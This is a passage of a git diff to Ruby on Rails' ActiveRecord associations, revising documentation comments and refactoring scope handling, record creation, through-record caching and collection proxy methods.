ActiveRecord # # The +traps+ association on +Dungeon+ and the +dungeon+ association on +Trap+ are # the inverse of each other and the inverse of the +dungeon+ association on +EvilWizard+ - # is the +evil_wizard+ association on +Dungeon+ (and vice-versa). By default, + # is the +evil_wizard+ association on +Dungeon+ (and vice-versa). By default, # Active Record doesn't know anything about these inverse relationships and so no object - # loading optimisation is possible. For example: + # loading optimization is possible. For example: # # d = Dungeon.first # t = d.traps.first @@ -875,8 +876,8 @@ module ActiveRecord # # The +Dungeon+ instances +d+ and <tt>t.dungeon</tt> in the above example refer to # the same object data from the database, but are actually different in-memory copies - # of that data. Specifying the <tt>:inverse_of</tt> option on associations lets you tell - # Active Record about inverse relationships and it will optimise object loading. For + # of that data. Specifying the <tt>:inverse_of</tt> option on associations lets you tell + # Active Record about inverse relationships and it will optimise object loading. For # example, if we changed our model definitions to: # # class Dungeon < ActiveRecord::Base @@ -1036,7 +1037,7 @@ module ActiveRecord # === Example # # Example: A Firm class declares <tt>has_many :clients</tt>, which will add: - # * <tt>Firm#clients</tt> (similar to <tt>Clients.find :all, :conditions => ["firm_id = ?", id]</tt>) + # * <tt>Firm#clients</tt> (similar to <tt>Clients.all :conditions => ["firm_id = ?", id]</tt>) # * <tt>Firm#clients<<</tt> # * <tt>Firm#clients.delete</tt> # * <tt>Firm#clients=</tt> @@ -1059,7 +1060,7 @@ module ActiveRecord # specify it with this option. # [:conditions] # Specify the conditions that the associated objects must meet in order to be included as a +WHERE+ - # SQL fragment, such as <tt>price > 5 AND name LIKE 'B%'</tt>. Record creations from + # SQL fragment, such as <tt>price > 5 AND name LIKE 'B%'</tt>. Record creations from # the association are scoped if a hash is used. # <tt>has_many :posts, :conditions => {:published => true}</tt> will create published # posts with <tt>@blog.posts.create</tt> or <tt>@blog.posts.build</tt>. @@ -1074,10 +1075,11 @@ module ActiveRecord # Specify the method that returns the primary key used for the association. By default this is +id+. # [:dependent] # If set to <tt>:destroy</tt> all the associated objects are destroyed - # alongside this object by calling their +destroy+ method. If set to <tt>:delete_all</tt> all associated - # objects are deleted *without* calling their +destroy+ method. If set to <tt>:nullify</tt> all associated + # alongside this object by calling their +destroy+ method. If set to <tt>:delete_all</tt> all associated + # objects are deleted *without* calling their +destroy+ method. If set to <tt>:nullify</tt> all associated # objects' foreign keys are set to +NULL+ *without* calling their +save+ callbacks. If set to - # <tt>:restrict</tt> this object cannot be deleted if it has any associated object. + # <tt>:restrict</tt> this object raises an <tt>ActiveRecord::DeleteRestrictionError</tt> exception and + # cannot be deleted if it has any associated objects. # # If using with the <tt>:through</tt> option, the association on the join model must be # a +belongs_to+, and the records which get deleted are the join records, rather than @@ -1085,7 +1087,8 @@ module ActiveRecord # # [:finder_sql] # Specify a complete SQL statement to fetch the association. This is a good way to go for complex - # associations that depend on multiple tables. Note: When this option is used, +find_in_collection+ + # associations that depend on multiple tables. May be supplied as a string or a proc where interpolation is + # required. Note: When this option is used, +find_in_collection+ # is _not_ added. # [:counter_sql] # Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is @@ -1160,11 +1163,14 @@ module ActiveRecord # has_many :tags, :as => :taggable # has_many :reports, :readonly => true # has_many :subscribers, :through => :subscriptions, :source => :user - # has_many :subscribers, :class_name => "Person", :finder_sql => - # 'SELECT DISTINCT people.* ' + - # 'FROM people p, post_subscriptions ps ' + - # 'WHERE ps.post_id = #{id} AND ps.person_id = p.id ' + - # 'ORDER BY p.first_name' + # has_many :subscribers, :class_name => "Person", :finder_sql => Proc.new { + # %Q{ + # SELECT DISTINCT people.* + # FROM people p, post_subscriptions ps + # WHERE ps.post_id = #{id} AND ps.person_id = p.id + # ORDER BY p.first_name + # } + # } def has_many(name, options = {}, &extension) Builder::HasMany.build(self, name, options, &extension) end @@ -1199,7 +1205,7 @@ module ActiveRecord # === Example # # An Account class declares <tt>has_one :beneficiary</tt>, which will add: - # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.find(:first, :conditions => "account_id = #{id}")</tt>) + # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.first(:conditions => "account_id = #{id}")</tt>) # * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>) # * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>) # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>) @@ -1226,7 +1232,8 @@ module ActiveRecord # If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to # <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. # If set to <tt>:nullify</tt>, the associated object's foreign key is set to +NULL+. - # Also, association is assigned. + # Also, association is assigned. If set to <tt>:restrict</tt> this object raises an + # <tt>ActiveRecord::DeleteRestrictionError</tt> exception and cannot be deleted if it has any associated object. # [:foreign_key] # Specify the foreign key used for the association. By default this is guessed to be the name # of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_one+ association @@ -1242,7 +1249,7 @@ module ActiveRecord # you want to do a join but not include the joined columns. Do not forget to include the # primary and foreign keys, otherwise it will raise an error. # [:through] - # Specifies a Join Model through which to perform the query. Options for <tt>:class_name</tt>, + # Specifies a Join Model through which to perform the query. Options for <tt>:class_name</tt>, # <tt>:primary_key</tt>, and <tt>:foreign_key</tt> are ignored, as the association uses the # source reflection. You can only use a <tt>:through</tt> query through a <tt>has_one</tt> # or <tt>belongs_to</tt> association on the join model. @@ -1264,7 +1271,7 @@ module ActiveRecord # By default, only save the associated object if it's a new record. # [:inverse_of] # Specifies the name of the <tt>belongs_to</tt> association on the associated object - # that is the inverse of this <tt>has_one</tt> association. Does not work in combination + # that is the inverse of this <tt>has_one</tt> association. Does not work in combination # with <tt>:through</tt> or <tt>:as</tt> options. # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail. # @@ -1322,7 +1329,7 @@ module ActiveRecord # # [:class_name] # Specify the class name of the association. Use it only if that name can't be inferred - # from the association name. So <tt>has_one :author</tt> will by default be linked to the Author class, but + # from the association name. So <tt>belongs_to :author</tt> will by default be linked to the Author class, but # if the real class name is Person, you'll have to specify it with this option. # [:conditions] # Specify the conditions that the associated object must meet in order to be included as a +WHERE+ @@ -1382,7 +1389,7 @@ module ActiveRecord # will be updated with the current time in addition to the updated_at/on attribute. # [:inverse_of] # Specifies the name of the <tt>has_one</tt> or <tt>has_many</tt> association on the associated - # object that is the inverse of this <tt>belongs_to</tt> association. Does not work in + # object that is the inverse of this <tt>belongs_to</tt> association. Does not work in # combination with the <tt>:polymorphic</tt> options. # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail. # @@ -1402,33 +1409,33 @@ module ActiveRecord end # Specifies a many-to-many relationship with another class. This associates two classes via an - # intermediate join table. Unless the join table is explicitly specified as an option, it is + # intermediate join table. Unless the join table is explicitly specified as an option, it is # guessed using the lexical order of the class names. So a join between Developer and Project # will give the default join table name of "developers_projects" because "D" outranks "P". - # Note that this precedence is calculated using the <tt><</tt> operator for String. This + # Note that this precedence is calculated using the <tt><</tt> operator for String. This # means that if the strings are of different lengths, and the strings are equal when compared # up to the shortest length, then the longer string is considered of higher - # lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" + # lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" # to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", - # but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the + # but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the # custom <tt>:join_table</tt> option if you need to. # # The join table should not have a primary key or a model associated with it. You must manually generate the # join table with a migration such as this: # # class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration - # def self.up + # def change # create_table :developers_projects, :id => false do |t| # t.integer :developer_id # t.integer :project_id # end # end - # - # def self.down - # drop_table :developers_projects - # end # end # + # It's also a good idea to add indexes to each of those columns to speed up the joins process. + # However, in MySQL it is advised to add a compound index for both of the columns as MySQL only + # uses one index per table during the lookup. + # # Adds the following methods for retrieval and query: # # [collection(force_reload = false)] @@ -1512,7 +1519,7 @@ module ActiveRecord # the association will use "project_id" as the default <tt>:association_foreign_key</tt>. # [:conditions] # Specify the conditions that the associated object must meet in order to be included as a +WHERE+ - # SQL fragment, such as <tt>authorized = 1</tt>. Record creations from the association are + # SQL fragment, such as <tt>authorized = 1</tt>. Record creations from the association are # scoped if a hash is used. # <tt>has_many :posts, :conditions => {:published => true}</tt> will create published posts with <tt>@blog.posts.create</tt> # or <tt>@blog.posts.build</tt>. @@ -1568,7 +1575,7 @@ module ActiveRecord # has_and_belongs_to_many :categories, :join_table => "prods_cats" # has_and_belongs_to_many :categories, :readonly => true # has_and_belongs_to_many :active_projects, :join_table => 'developers_projects', :delete_sql => - # 'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}' + # "DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}" def has_and_belongs_to_many(name, options = {}, &extension) Builder::HasAndBelongsToMany.build(self, name, options, &extension) end diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb index 44e2ee141e..0248c7483c 100644 --- a/activerecord/lib/active_record/associations/alias_tracker.rb +++ b/activerecord/lib/active_record/associations/alias_tracker.rb @@ -9,7 +9,7 @@ module ActiveRecord # table_joins is an array of arel joins which might conflict with the aliases we assign here def initialize(table_joins = []) - @aliases = Hash.new + @aliases = Hash.new { |h,k| h[k] = initial_count_for(k) } @table_joins = table_joins end @@ -26,8 +26,6 @@ module ActiveRecord def aliased_name_for(table_name, aliased_name = nil) aliased_name ||= table_name - initialize_count_for(table_name) if aliases[table_name].nil? - if aliases[table_name].zero? # If it's zero, we can have our table_name aliases[table_name] = 1 @@ -36,8 +34,6 @@ module ActiveRecord # Otherwise, we need to use an alias aliased_name = connection.table_alias_for(aliased_name) - initialize_count_for(aliased_name) if aliases[aliased_name].nil? - # Update the count aliases[aliased_name] += 1 @@ -49,32 +45,30 @@ module ActiveRecord end end - def pluralize(table_name) - ActiveRecord::Base.pluralize_table_names ? table_name.to_s.pluralize : table_name.to_s - end - private - def initialize_count_for(name) - aliases[name] = 0 + def initial_count_for(name) + return 0 if Arel::Table === table_joins - unless Arel::Table === table_joins - # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase - quoted_name = connection.quote_table_name(name).downcase + # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase + quoted_name = connection.quote_table_name(name).downcase - aliases[name] += table_joins.map { |join| + counts = table_joins.map do |join| + if join.is_a?(Arel::Nodes::StringJoin) # Table names + table aliases join.left.downcase.scan( /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/ ).size - }.sum + else + join.left.table_name == name ? 1 : 0 + end end - aliases[name] + counts.sum end def truncate(name) - name[0..connection.table_alias_length-3] + name.slice(0, connection.table_alias_length - 2) end def connection diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb index 687b668634..d1e3ff8e38 100644 --- a/activerecord/lib/active_record/associations/association.rb +++ b/activerecord/lib/active_record/associations/association.rb @@ -30,7 +30,7 @@ module ActiveRecord @updated = false reset - construct_scope + reset_scope end # Returns the name of the table of the related class: @@ -51,7 +51,7 @@ module ActiveRecord # Reloads the \target and returns +self+ on success. def reload reset - construct_scope + reset_scope load_target self unless target.nil? end @@ -84,21 +84,25 @@ module ActiveRecord end def scoped - target_scope.merge(@association_scope) + target_scope.merge(association_scope) end - # Construct the scope for this association. + # The scope for this association. # # Note that the association_scope is merged into the target_scope only when the # scoped method is called. This is because at that point the call may be surrounded # by scope.scoping { ... } or with_scope { ... } etc, which affects the scope which # actually gets built. - def construct_scope + def association_scope if klass - @association_scope = AssociationScope.new(self).scope + @association_scope ||= AssociationScope.new(self).scope end end + def reset_scope + @association_scope = nil + end + # Set the inverse association, if possible def set_inverse_instance(record) if record && invertible_for?(record) @@ -141,26 +145,26 @@ module ActiveRecord @target ||= find_target end end - loaded! + loaded! unless loaded? target rescue ActiveRecord::RecordNotFound reset end + def interpolate(sql, record = nil) + if sql.respond_to?(:to_proc) + owner.send(:instance_exec, record, &sql) + else + sql + end + end + private def find_target? !loaded? && (!owner.new_record? || foreign_key_present?) && klass end - def interpolate(sql, record = nil) - if sql.respond_to?(:to_proc) - owner.send(:instance_exec, record, &sql) - else - sql - end - end - def creation_attributes attributes = {} @@ -177,9 +181,7 @@ module ActiveRecord # Sets the owner attributes on the given record def set_owner_attributes(record) - if owner.persisted? - creation_attributes.each { |key, value| record[key] = value } - end + creation_attributes.each { |key, value| record[key] = value } end # Should be true if there is a foreign key present on the owner which @@ -226,6 +228,15 @@ module ActiveRecord def association_class @reflection.klass end + + def build_record(attributes, options) + reflection.build_association(attributes, options) do |record| + record.assign_attributes( + create_scope.except(*record.changed), + :without_protection => true + ) + end + end end end end diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb index ab102b2b8f..6cc401e6cc 100644 --- a/activerecord/lib/active_record/associations/association_scope.rb +++ b/activerecord/lib/active_record/associations/association_scope.rb @@ -42,10 +42,6 @@ module ActiveRecord select_value ||= options[:uniq] && "DISTINCT #{reflection.quoted_table_name}.*" end - if reflection.macro == :has_and_belongs_to_many - select_value ||= reflection.klass.arel_table[Arel.star] - end - select_value end @@ -60,7 +56,7 @@ module ActiveRecord scope = scope.joins(join( join_table, - table[reflection.active_record_primary_key]. + table[reflection.association_primary_key]. eq(join_table[reflection.association_foreign_key]) )) @@ -68,17 +64,28 @@ module ActiveRecord end if reflection.source_macro == :belongs_to - key = reflection.association_primary_key + if reflection.options[:polymorphic] + key = reflection.association_primary_key(klass) + else + key = reflection.association_primary_key + end + foreign_key = reflection.foreign_key else key = reflection.foreign_key foreign_key = reflection.active_record_primary_key end + conditions = self.conditions[i] + if reflection == chain.last scope = scope.where(table[key].eq(owner[foreign_key])) - conditions[i].each do |condition| + if reflection.type + scope = scope.where(table[reflection.type].eq(owner.class.base_class.name)) + end + + conditions.each do |condition| if options[:through] && condition.is_a?(Hash) condition = { table.name => condition } end @@ -87,12 +94,16 @@ module ActiveRecord end else constraint = table[key].eq(foreign_table[foreign_key]) - join = join(foreign_table, constraint) - scope = scope.joins(join) + if reflection.type + type = chain[i + 1].klass.base_class.name + constraint = constraint.and(table[reflection.type].eq(type)) + end + + scope = scope.joins(join(foreign_table, constraint)) - unless conditions[i].empty? - scope = scope.where(sanitize(conditions[i], table)) + unless conditions.empty? + scope = scope.where(sanitize(conditions, table)) end end end diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb index c263edd2c6..97f531d064 100644 --- a/activerecord/lib/active_record/associations/belongs_to_association.rb +++ b/activerecord/lib/active_record/associations/belongs_to_association.rb @@ -20,6 +20,10 @@ module ActiveRecord private + def find_target? + !loaded? && foreign_key_present? && klass + end + def update_counters(record) counter_cache_name = reflection.counter_cache_column @@ -37,11 +41,15 @@ module ActiveRecord # Checks whether record is different to the current target, without loading it def different_target?(record) record.nil? && owner[reflection.foreign_key] || - record.id != owner[reflection.foreign_key] + record && record.id != owner[reflection.foreign_key] end def replace_keys(record) - owner[reflection.foreign_key] = record && record[reflection.association_primary_key] + if record + owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)] + else + owner[reflection.foreign_key] = nil + end end def foreign_key_present? diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb index 1ca448236e..2ee5dbbd70 100644 --- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb +++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb @@ -2,6 +2,11 @@ module ActiveRecord # = Active Record Belongs To Polymorphic Association module Associations class BelongsToPolymorphicAssociation < BelongsToAssociation #:nodoc: + def klass + type = owner[reflection.foreign_type] + type.presence && type.constantize + end + private def replace_keys(record) @@ -17,11 +22,6 @@ module ActiveRecord reflection.polymorphic_inverse_of(record.class) end - def klass - type = owner[reflection.foreign_type] - type && type.constantize - end - def raise_on_type_mismatch(record) # A polymorphic association cannot have a type mismatch, by definition end diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb index 4b48757da7..30fc44b4c2 100644 --- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb +++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb @@ -7,24 +7,22 @@ module ActiveRecord::Associations::Builder def build reflection = super check_validity(reflection) - define_after_destroy_method + define_destroy_hook reflection end private - def define_after_destroy_method + def define_destroy_hook name = self.name - model.send(:class_eval, <<-eoruby, __FILE__, __LINE__ + 1) - def #{after_destroy_method_name} - association(#{name.to_sym.inspect}).delete_all - end - eoruby - model.after_destroy after_destroy_method_name - end - - def after_destroy_method_name - "has_and_belongs_to_many_after_destroy_for_#{name}" + model.send(:include, Module.new { + class_eval <<-RUBY, __FILE__, __LINE__ + 1 + def destroy_associations + association(#{name.to_sym.inspect}).delete_all + super + end + RUBY + }) end # TODO: These checks should probably be moved into the Reflection, and we should not be @@ -39,10 +37,6 @@ module ActiveRecord::Associations::Builder model.send(:undecorated_table_name, model.to_s), model.send(:undecorated_table_name, reflection.class_name) ) - - if model.connection.supports_primary_key? && (model.connection.primary_key(reflection.options[:join_table]) rescue false) - raise ActiveRecord::HasAndBelongsToManyAssociationWithPrimaryKeyError.new(reflection) - end end # Generates a join table name from two provided table names. diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb index 638a2ec72a..0cbbba041a 100644 --- a/activerecord/lib/active_record/associations/builder/singular_association.rb +++ b/activerecord/lib/active_record/associations/builder/singular_association.rb @@ -13,19 +13,6 @@ module ActiveRecord::Associations::Builder private - def define_readers - super - name = self.name - - model.redefine_method("#{name}_loaded?") do - ActiveSupport::Deprecation.warn( - "Calling obj.#{name}_loaded? is deprecated. Please use " \ - "obj.association(:#{name}).loaded? instead." - ) - association(name).loaded? - end - end - def define_constructors name = self.name diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb index 902ad8cb64..362f1053cd 100644 --- a/activerecord/lib/active_record/associations/collection_association.rb +++ b/activerecord/lib/active_record/associations/collection_association.rb @@ -50,7 +50,7 @@ module ActiveRecord else column = "#{reflection.quoted_table_name}.#{reflection.association_primary_key}" - scoped.select(column).except(:includes).map! do |record| + scoped.select(column).map! do |record| record.send(reflection.association_primary_key) end end @@ -78,10 +78,14 @@ module ActiveRecord end def find(*args) - if options[:finder_sql] - find_by_scan(*args) + if block_given? + load_target.find(*args) { |*block_args| yield(*block_args) } else - scoped.find(*args) + if options[:finder_sql] + find_by_scan(*args) + else + scoped.find(*args) + end end end @@ -104,44 +108,23 @@ module ActiveRecord end def create(attributes = {}, options = {}, &block) - unless owner.persisted? - raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved" - end - - if attributes.is_a?(Array) - attributes.collect { |attr| create(attr, options, &block) } - else - transaction do - add_to_target(build_record(attributes, options)) do |record| - yield(record) if block_given? - insert_record(record) - end - end - end + create_record(attributes, options, &block) end - def create!(attrs = {}, options = {}, &block) - record = create(attrs, options, &block) - Array.wrap(record).each(&:save!) - record + def create!(attributes = {}, options = {}, &block) + create_record(attributes, options, true, &block) end - # Add +records+ to this association. Returns +self+ so method calls may be chained. + # Add +records+ to this association. Returns +self+ so method calls may be chained. # Since << flattens its argument list and inserts each record, +push+ and +concat+ behave identically. def concat(*records) - result = true load_target if owner.new_record? - transaction do - records.flatten.each do |record| - raise_on_type_mismatch(record) - add_to_target(record) do |r| - result &&= insert_record(record) unless owner.new_record? - end - end + if owner.new_record? + concat_records(records) + else + transaction { concat_records(records) } end - - result && records end # Starts a transaction in the association class's database connection. @@ -310,14 +293,10 @@ module ActiveRecord other_array.each { |val| raise_on_type_mismatch(val) } original_target = load_target.dup - transaction do - delete(target - other_array) - - unless concat(other_array - target) - @target = original_target - raise RecordNotSaved, "Failed to replace #{reflection.name} because one or more of the " \ - "new records could not be saved." - end + if owner.new_record? + replace_records(other_array, original_target) + else + transaction { replace_records(other_array, original_target) } end end @@ -365,8 +344,12 @@ module ActiveRecord if options[:counter_sql] interpolate(options[:counter_sql]) else - # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */ - interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" } + # replace the SELECT clause with COUNT(SELECTS), preserving any hints within /* ... */ + interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) do + count_with = $2.to_s + count_with = '*' if count_with.blank? || count_with =~ /,/ + "SELECT #{$1}COUNT(#{count_with}) FROM" + end end end @@ -402,9 +385,13 @@ module ActiveRecord return memory if persisted.empty? persisted.map! do |record| - mem_record = memory.delete(record) + # Unfortunately we cannot simply do memory.delete(record) since on 1.8 this returns + # record rather than memory.at(memory.index(record)). The behavior is fixed in 1.9. + mem_index = memory.index(record) + + if mem_index + mem_record = memory.delete_at(mem_index) - if mem_record (record.attribute_names - mem_record.changes.keys).each do |name| mem_record[name] = record[name] end @@ -418,8 +405,25 @@ module ActiveRecord persisted + memory end + def create_record(attributes, options, raise = false, &block) + unless owner.persisted? + raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved" + end + + if attributes.is_a?(Array) + attributes.collect { |attr| create_record(attr, options, raise, &block) } + else + transaction do + add_to_target(build_record(attributes, options)) do |record| + yield(record) if block_given? + insert_record(record, true, raise) + end + end + end + end + # Do the relevant stuff to insert the given record into the association collection. - def insert_record(record, validate = true) + def insert_record(record, validate = true, raise = false) raise NotImplementedError end @@ -427,26 +431,25 @@ module ActiveRecord scoped.scope_for_create.stringify_keys end - def build_record(attributes, options) - record = reflection.build_association(attributes, options) - record.assign_attributes(create_scope.except(*record.changed), :without_protection => true) - record.assign_attributes(attributes, options) - record - end - def delete_or_destroy(records, method) records = records.flatten records.each { |record| raise_on_type_mismatch(record) } existing_records = records.reject { |r| r.new_record? } - transaction do - records.each { |record| callback(:before_remove, record) } + if existing_records.empty? + remove_records(existing_records, records, method) + else + transaction { remove_records(existing_records, records, method) } + end + end - delete_records(existing_records, method) if existing_records.any? - records.each { |record| target.delete(record) } + def remove_records(existing_records, records, method) + records.each { |record| callback(:before_remove, record) } - records.each { |record| callback(:after_remove, record) } - end + delete_records(existing_records, method) if existing_records.any? + records.each { |record| target.delete(record) } + + records.each { |record| callback(:after_remove, record) } end # Delete the given records from the association, using one of the methods :destroy, @@ -455,6 +458,29 @@ module ActiveRecord raise NotImplementedError end + def replace_records(new_target, original_target) + delete(target - new_target) + + unless concat(new_target - target) + @target = original_target + raise RecordNotSaved, "Failed to replace #{reflection.name} because one or more of the " \ + "new records could not be saved." + end + end + + def concat_records(records) + result = true + + records.flatten.each do |record| + raise_on_type_mismatch(record) + add_to_target(record) do |r| + result &&= insert_record(record) unless owner.new_record? + end + end + + result && records + end + def callback(method, record) callbacks_for(method).each do |callback| case callback diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb index adfc71d435..3181ca9a32 100644 --- a/activerecord/lib/active_record/associations/collection_proxy.rb +++ b/activerecord/lib/active_record/associations/collection_proxy.rb @@ -12,7 +12,7 @@ module ActiveRecord # has_many :posts # end # - # blog = Blog.find(:first) + # blog = Blog.first # # the association proxy in <tt>blog.posts</tt> has the object in +blog+ as # <tt>@owner</tt>, the collection of its posts as <tt>@target</tt>, and @@ -46,7 +46,7 @@ module ActiveRecord delegate :select, :find, :first, :last, :build, :create, :create!, - :concat, :delete_all, :destroy_all, :delete, :destroy, :uniq, + :concat, :replace, :delete_all, :destroy_all, :delete, :destroy, :uniq, :sum, :count, :size, :length, :empty?, :any?, :many?, :include?, :to => :@association @@ -56,23 +56,29 @@ module ActiveRecord Array.wrap(association.options[:extend]).each { |ext| proxy_extend(ext) } end - def respond_to?(*args) + alias_method :new, :build + + def proxy_association + @association + end + + def respond_to?(name, include_private = false) super || - (load_target && target.respond_to?(*args)) || - @association.klass.respond_to?(*args) + (load_target && target.respond_to?(name, include_private)) || + proxy_association.klass.respond_to?(name, include_private) end def method_missing(method, *args, &block) match = DynamicFinderMatch.match(method) if match && match.instantiator? - record = send(:find_or_instantiator_by_attributes, match, match.attribute_names, *args) do |r| - @association.send :set_owner_attributes, r - @association.send :add_to_target, r + send(:find_or_instantiator_by_attributes, match, match.attribute_names, *args) do |r| + proxy_association.send :set_owner_attributes, r + proxy_association.send :add_to_target, r yield(r) if block_given? end end - if target.respond_to?(method) || (!@association.klass.respond_to?(method) && Class.respond_to?(method)) + if target.respond_to?(method) || (!proxy_association.klass.respond_to?(method) && Class.respond_to?(method)) if load_target if target.respond_to?(method) target.send(method, *args, &block) @@ -102,7 +108,7 @@ module ActiveRecord alias_method :to_a, :to_ary def <<(*records) - @association.concat(records) && self + proxy_association.concat(records) && self end alias_method :push, :<< @@ -112,17 +118,9 @@ module ActiveRecord end def reload - @association.reload + proxy_association.reload self end - - def new(*args, &block) - if @association.is_a?(HasManyThroughAssociation) - @association.build(*args, &block) - else - method_missing(:new, *args, &block) - end - end end end end diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb index 217213808b..1f917f58f2 100644 --- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb +++ b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb @@ -9,8 +9,14 @@ module ActiveRecord super end - def insert_record(record, validate = true) - return if record.new_record? && !record.save(:validate => validate) + def insert_record(record, validate = true, raise = false) + if record.new_record? + if raise + record.save!(:validate => validate) + else + return unless record.save(:validate => validate) + end + end if options[:insert_sql] owner.connection.insert(interpolate(options[:insert_sql], record)) @@ -20,7 +26,7 @@ module ActiveRecord join_table[reflection.association_foreign_key] => record.id ) - owner.connection.insert stmt.to_sql + owner.connection.insert stmt end record @@ -40,7 +46,7 @@ module ActiveRecord stmt = relation.where(relation[reflection.foreign_key].eq(owner.id). and(relation[reflection.association_foreign_key].in(records.map { |x| x.id }.compact)) ).compile_delete - owner.connection.delete stmt.to_sql + owner.connection.delete stmt end end diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb index 78c5c4b870..50ee60284c 100644 --- a/activerecord/lib/active_record/associations/has_many_association.rb +++ b/activerecord/lib/active_record/associations/has_many_association.rb @@ -7,9 +7,14 @@ module ActiveRecord # is provided by its child HasManyThroughAssociation. class HasManyAssociation < CollectionAssociation #:nodoc: - def insert_record(record, validate = true) + def insert_record(record, validate = true, raise = false) set_owner_attributes(record) - record.save(:validate => validate) + + if raise + record.save!(:validate => validate) + else + record.save(:validate => validate) + end end private @@ -18,7 +23,7 @@ module ActiveRecord # # If the association has a counter cache it gets that value. Otherwise # it will attempt to do a count via SQL, bounded to <tt>:limit</tt> if - # there's one. Some configuration options like :group make it impossible + # there's one. Some configuration options like :group make it impossible # to do an SQL count, in those cases the array count will be used. # # That does not depend on whether the collection has already been loaded diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb index 7708228d23..7e6e3be382 100644 --- a/activerecord/lib/active_record/associations/has_many_through_association.rb +++ b/activerecord/lib/active_record/associations/has_many_through_association.rb @@ -6,7 +6,12 @@ module ActiveRecord class HasManyThroughAssociation < HasManyAssociation #:nodoc: include ThroughAssociation - alias_method :new, :build + def initialize(owner, reflection) + super + + @through_records = {} + @through_association = nil + end # Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been # loaded and calling collection.size if it has. If it's more likely than not that the collection does @@ -33,31 +38,47 @@ module ActiveRecord super end - def insert_record(record, validate = true) + def insert_record(record, validate = true, raise = false) ensure_not_nested - return if record.new_record? && !record.save(:validate => validate) - through_record(record).save! + if record.new_record? + if raise + record.save!(:validate => validate) + else + return unless record.save(:validate => validate) + end + end + + save_through_record(record) update_counter(1) record end private - def through_record(record) - through_association = owner.association(through_reflection.name) - attributes = construct_join_attributes(record) - - through_record = Array.wrap(through_association.target).find { |candidate| - candidate.attributes.slice(*attributes.keys) == attributes - } + def through_association + @through_association ||= owner.association(through_reflection.name) + end - unless through_record - through_record = through_association.build(attributes) + # We temporarily cache through record that has been build, because if we build a + # through record in build_record and then subsequently call insert_record, then we + # want to use the exact same object. + # + # However, after insert_record has been called, we clear the cache entry because + # we want it to be possible to have multiple instances of the same record in an + # association + def build_through_record(record) + @through_records[record.object_id] ||= begin + through_record = through_association.build(construct_join_attributes(record)) through_record.send("#{source_reflection.name}=", record) + through_record end + end - through_record + def save_through_record(record) + build_through_record(record).save! + ensure + @through_records.delete(record.object_id) end def build_record(attributes, options = {}) @@ -68,9 +89,9 @@ module ActiveRecord inverse = source_reflection.inverse_of if inverse if inverse.macro == :has_many - record.send(inverse.name) << through_record(record) + record.send(inverse.name) << build_through_record(record) elsif inverse.macro == :has_one - record.send("#{inverse.name}=", through_record(record)) + record.send("#{inverse.name}=", build_through_record(record)) end end @@ -99,8 +120,7 @@ module ActiveRecord def delete_records(records, method) ensure_not_nested - through = owner.association(through_reflection.name) - scope = through.scoped.where(construct_join_attributes(*records)) + scope = through_association.scoped.where(construct_join_attributes(*records)) case method when :destroy @@ -111,7 +131,7 @@ module ActiveRecord count = 